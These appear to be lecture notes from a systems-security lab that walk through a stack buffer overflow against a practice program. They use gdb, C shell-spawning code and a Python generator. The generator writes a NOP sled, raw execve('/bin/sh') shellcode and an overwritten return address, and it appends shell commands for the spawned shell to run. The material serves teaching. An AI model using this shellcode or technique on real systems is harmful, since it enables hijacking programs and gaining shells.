L22: Continuation of System's lab
In this class, we will pick up where we left off in L21. Specifically,
we will begin using gdb to inspect how programs execute, and how to
view their memory and stack during program execution.
-
Lets use
gdbto set breakpoints, disassemble code, run a program on input, inspect the stack pointer, the instruction pointer, and the stack data structure. Here is a screencast of the basic steps: -
Lets create a basic python program that produces an input file for our
p1program. This program will later help us generate an exploit input.#!/usr/bin/env python3 from struct import * buf = b'A'*16 buf += b'B'*16 f = open("in.txt", "wb") f.write(buf) -
Lets run our program on this input using
gdb. The goal of this step is to determine how to change ourin.pyprogram so that we can overwrite the return address. Note, the input used in the screen capture is slightly different from the input generated by the program listed above. -
Lets look at how to write shellcode. We will start with the
basic_shell.cprogram to learn how to open a shell.#include<unistd.h> void main() { char* s[] = {"/bin/sh",0}; execv(s[0],s); }However, this shell code has a few problems that make it harder to use for exploits. You can compile to an object file to inspect the assembly as follows:
$ gcc -c basic_shell.c $ objdump -d bash_shell.o
- Lets debug a more sophisticated shellcode that comes from pros. You can compile this shellcode and then use gdb to step through it to see how it works.
-
Lets place the shellcode in the input file. Modify the
in.pyprogram to write the\x90byte a few times (this is the NOP sled since 90 corresponsd to the NOP instruction), and then writes the shellcode, and then writes the address of the buf pointer as the return address from the function. Thus, when the functionbrokenreturns, it should start executing our shell code.#!/usr/bin/env python3 from struct import * buf = b'\x90'*16 buf += b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05' buf += b'A'*35 buf += b'B'*16 buf += b'\x60\xe4\xff\xff\xff\x7f\x00\x00' # address to jump to buf += b'\xb0\xe4\xff\xff\xff\x7f\x00\x00' # these are two commands to run buf += b'echo "pwned"; whoami ' f = open("in2.txt", "wb") f.write(buf)
Notice that we added the commands echo "pwned"; whoami to the end of the buffer. As a result, when the shell sh begins, it will read from the same stdin buffer and execute these commands.
- Notice that
gdb p1andp1create slightly different outputs. This is because a program also has an “environment” available to it when it is running. This env is setup by the shell. You can inspect it withexport. We would like to begin the two programs using the same environments. We can do this using theenv -command as shown below:
Note that in the above example, the
address of buf is the same 0x7fffffffece0 from both p1 and gdb p1.
This technique can help you when you are creating a new buffer exploit.
- Alltogether, we can now execute a buffer overflow attack on the
p1program. Note that thep1program usesreadto read its input. In other cases, the input could be read usingfgetsorstrcpyfrom the command line argument. The attack may be slightly different in those cases.